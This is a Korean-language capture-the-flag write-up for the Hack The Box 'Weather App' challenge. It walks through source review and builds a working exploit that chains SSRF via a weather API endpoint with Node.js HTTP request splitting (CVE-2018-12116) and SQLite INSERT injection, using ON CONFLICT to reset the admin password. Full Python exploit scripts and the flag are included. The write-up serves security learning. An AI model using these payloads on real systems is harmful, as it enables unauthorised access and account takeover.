[HTB] Weather App Writeup
주어진 URL에 접근하면 아래와 같은 페이지가 나타난다.
주어진 소스코드를 보니 login, register 두 페이지가 있었다.
우선 플래그의 획득 조건은 admin 계정을 사용해서 로그인 하는 것이다.
router.post('/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});
우선 DB의 종류를 확인 하기 위해 package.json 파일을 확인해보았다.
{
"name": "weather-app",
"version": "1.0.0",
"description": "",
"main": "index.js",
"nodeVersion": "v8.12.0", // 매우 낮은 버전..
"scripts": {
"start": "node index.js"
},
"keywords": [],
"authors": [
"makelaris",
"makelarisjr"
],
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"sqlite-async": "^1.1.1" // sqlite 사용
}
}
sqlite를 사용한다는 것은 확인했다.
추가적으로 눈에 띄는 것은 node의 버전이 8.12로 매우 낮다는 점이다.
해당 버전의 취약점을 확인해보니 오래된 버전이어서 그런지 매우 많이 나와서.. 우선 참고만 하고 소스코드를 분석해보기로 했다.
https://snyk.io/test/docker/node%3A8.12.0-alpine
Snyk - Vulnerability report for Docker node:8.12.0-alpine
Learn more about Docker node:8.12.0-alpine vulnerabilities. Docker image node has 33 known vulnerabilities found in 34 vulnerable paths.
snyk.io
admin 계정을 로그인을 해야하기 때문에 관련성이 깊어보이는 database.js파일 부터 살펴보았다.
// database.js
const sqlite = require('sqlite-async');
const crypto = require('crypto');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
`);
}
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
// ................................................ (1)
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}
async isAdmin(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
let row = await smt.get(user, pass);
resolve(row !== undefined ? row.username == 'admin' : false);
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
(1) 부분이 Sql injection에 취약해보여서 register 부분의 소스코드를 확인해보았다.
register, login 기능의 작동 방식이 정의되어있는 index.js파일을 분석해보았다.
// index.js
const path = require('path');
const fs = require('fs');
const express = require('express');
const router = express.Router();
const WeatherHelper = require('../helpers/WeatherHelper');
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.get('/register', (req, res) => {
return res.sendFile(path.resolve('views/register.html'));
});
router.post('/register', (req, res) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
// ........................................... (1)
return res.status(401).end();
}
let { username, password } = req.body;
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}
return res.send(response('Missing parameters'));
});
router.get('/login', (req, res) => {
return res.sendFile(path.resolve('views/login.html'));
});
router.post('/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});
router.post('/api/weather', (req, res) => {
let { endpoint, city, country } = req.body;
if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}
return res.send(response('Missing parameters'));
});
module.exports = database => {
db = database;
return router;
};
register가 가능하다고 가정하면 어렵지 않게 sql injection을 수행 할 수 있을 것 같았지만, (1) 과 같은 필터링이 존재했다.
처음에는 X-Forwarded-For 같은 헤더를 추가하는 방식으로 서버에서 클라이언트의 IP를 인식하는 것에 혼동을 주려고 해보았는데 잘 되지 않았다..
다른 부분의 취약점과 연계하는 방식인가 라는 생각이 들어 다른 부분의 소스코드도 분석해보았다.
// index. js
...
router.post('/api/weather', (req, res) => { // ....................... (1)
let { endpoint, city, country } = req.body;
if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}
return res.send(response('Missing parameters'));
});
...
// WeatherHelper.js
const HttpHelper = require('../helpers/HttpHelper');
module.exports = {
async getWeather(res, endpoint, city, country) {
// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);
// ............................................. (2)
...
// HttpHelper.js
const http = require('http');
module.exports = {
HttpGet(url) {
return new Promise((resolve, reject) => {
http.get(url, res => {
let body = '';
res.on('data', chunk => body += chunk);
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch(e) {
resolve(false);
}
});
}).on('error', reject);
});
}
}
(1)의 /api/weather 부분을 보면 endpoint를 포함한 여러 파라미터를 입력 받는데, (2) 에서 입력받은 부분을 처리하는 로직을 보면 endpoint 파라미터가 요청을 보낼 URL에 해당한다. 이를 실행시키는 주체가 서버이기 때문에 이 부분을 활용하면 SSRF처럼 작동하여
/register 부분의 127.0.0.1 관련 조건문을 만족 시킬 수 있을 것이다.
하지만 문제는 /api/weather 을 통해 SSRF를 유도하는 부분은 GET 메소드를 사용한 요청인데, /register 부분은 POST 메소드를 사용해야한다는 것이었다.
여기서 일반적인 방법으로는 해결이 불가하다고 생각하여 아까 체크해뒀던 해당 버전의 알려진 취약점들에 대해 알아보기로 하였다.
문제의 성격을 고려해서 smuggling, splitting 키워드를 위주로 먼저 확인해보았다.
https://security.snyk.io/vuln/SNYK-UPSTREAM-NODE-73603
Snyk Vulnerability Database | Snyk
The most comprehensive, accurate, and timely database for open source vulnerabilities.
security.snyk.io
그중 CVE-2018-12116 node http request splitting에 대한 조사를 해보았는데, 아래 블로그 내용이 내가 시도해보고자하는 방식과 유사하여 응용해보았다.
https://jaeseokim.tistory.com/98
[node.js] : HTTP request splitting을 이용한 SSRF 취약점(feat.NullCon_2020-split_second WriteUp)
이번에 TeamMODU에서 다른 형이 발표한 NullCon_2020-split_second 문제의 WriteUp를 보며 신기하고 재미있어 보여서 한번 공부를 해봤습니다. CVE-2018-12116 대상 : Node.js: All versions prior to Node.js 6.15.0 and 8.14.0
jaeseokim.tistory.com
우선, 아래와 같이 테스트를 해보았다.
따라서 서버에서는 대략 다음과 같은 요청을 할 것이다.
공격자가 /api/weather 를 아래와 같이 호출하면,
POST /api/weather HTTP/1.1
Host: 46.101.80.226:32531
Content-Length: 178
...
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
endpoint=eo92k973yrfg41e.m.pipedream.net/vardy&city=foo&country=foo
서버는 아래와 같은 요청을 생성 할 것이다.
GET vardy/data/2.5/weather?q=foo,foo&units=metric&appid=${apiKey} HTTP/1.1
Host: eo92k973yrfg41e.m.pipedream.net
..
endpoint의 값을 127.0.0.1 으로 지정하고, 사용자 입력 값에 \u{010D}, \u{010A},\u{0120} 를 사용해서 개행 처리를 할 수 있다고 가정하면, 아래와 같이 Http Request Splitting을 시도 할 수 있을것이다.
** [[[ ]]] 안의 값이 사용자 입력 값이라고 가정 **
GET /vardy/data/2.5/weather?q=foo,foo[[[ HTTP/1.1
HOST: 127.0.0.1
POST /register HTTP/1.1
HOST: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length:29
username=vardy&password=vardy
GET /]]]&units=metric&appid=${apiKey} HTTP/1.1
Host: 127.0.0.1
..
** 사용자 입력 값 예시 **
[[[ HTTP/1.1
HOST: 127.0.0.1
POST /register HTTP/1.1
HOST: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=vardy&password=vardy
GET /]]]
유효한지 테스트를 먼저 하기 위해 isAdmin 부분을 아래와 같이 수정해서 시도해보았다.
async isAdmin(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
let row = await smt.get(user, pass);
//resolve(row !== undefined ? row.username == 'admin' : false); //Origin!
resolve(row !== undefined ? (row.username == 'admin' || row.username == 'vardy') : false); // Test
} catch(e) {
reject(e);
}
});
}
import requests
url = 'http://127.0.0.1:1337/api/weather'
exploit = ''' HTTP/1.1
HOST: 127.0.0.1
POST /register HTTP/1.1
HOST: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=vardy&password=vardy
GET /'''
print(exploit)
exploit = exploit.replace(' ', '\u0120')
exploit = exploit.replace('\n','\u010D\u010A')
print(exploit)
data = {'endpoint': '127.0.0.1', 'city': 'vardy', 'country':exploit}
response = requests.post(url, data=data)
print(response.status_code)
print(response.text)
위 시나리오가 유효하여 테스트 플래그가 출력됨을 확인 할 수 있었다.
vardy/vardy 로 register를 수행 한 후 vardy로 로그인에 성공해도 플래그가 출력되도록 코드를 수정 후 테스트한 것으 잘 반영되었다.
이제 그럼 sqlite 환경에서 insert 구문에서의 sql injection payload만 추가해주면 될 것이다.
문제는, SSRF+Sql Injection 처럼 작동하게 되기 때문에 인젝션이 유효하다고 해도 Response를 전혀 확인 할 수 없기 때문에 admin의 password를 추출하는 방식을 사용 할 수 없다는 것이다.
또한, username에는 UNIQUE 속성이 있기 때문에 admin을 중복 생성 할 수도 없다.
이러한 상황에서 내가 생각하기에 유일한 방법은 admin의 정보를 update 하여 패스워드를 내가 원하는 대로 바꾸는 방법 밖에 없다고 생각했다.
관련해서 Sqlite에 대해 공부해보니, ON CONFLICT 라는 구문을 사용 할 수 있을 것 같았다.
Sqlite upsert from select with conflict does not always update row
Assuming a database built with the following: PRAGMA foreign_keys = ON; CREATE TABLE foo ( id INTEGER PRIMARY KEY NOT NULL, name TEXT NOT NULL, UNIQUE (name) ); INSERT INTO foo (name) VAL...
dba.stackexchange.com
이를 응용하여 서버에서 아래 쿼리처럼 처리되도록 유도해보기로 했다.
INSERT INTO users (username, password) VALUES ('admin', 'asd') ON CONFLICT (username) DO UPDATE SET password = 'vardy';--')
의미는, admin/asd 로 users 테이블에 insert를 하되 username 값이 중복이라면 password를 vardy로 업데이트 하라는 뜻이다.
최종적으로 아래와 같은 exploit 코드를 작성하였고
import requests
url = 'http://134.122.104.91:30049/api/weather'
#let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
#INSERT INTO users (username, password) VALUES ('admin', 'vardy') ON CONFLICT (username) DO UPDATE SET password = 'vardy';--')
sqli = "username=admin&password=asd%27%29+ON+CONFLICT+%28username%29+DO+UPDATE+SET+password=%27vardy%27--"
#sqli = sqli.replace(' ','%20')
cl = str(len(sqli))
exploit = ''' HTTP/1.1
HOST: 127.0.0.1
POST /register HTTP/1.1
HOST: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
GET /'''.format(cl,sqli)
print(exploit)
exploit = exploit.replace(' ', '\u0120')
exploit = exploit.replace('\n','\u010D\u010A')
print(exploit)
data = {'endpoint': '127.0.0.1', 'city': 'vardy', 'country':exploit}
response = requests.post(url, data=data)
print(response.status_code)
print(response.text)
플래그를 획득 할 수 있었다.
FLAG = HTB{w3lc0m3_t0_th3_p1p3_dr34m}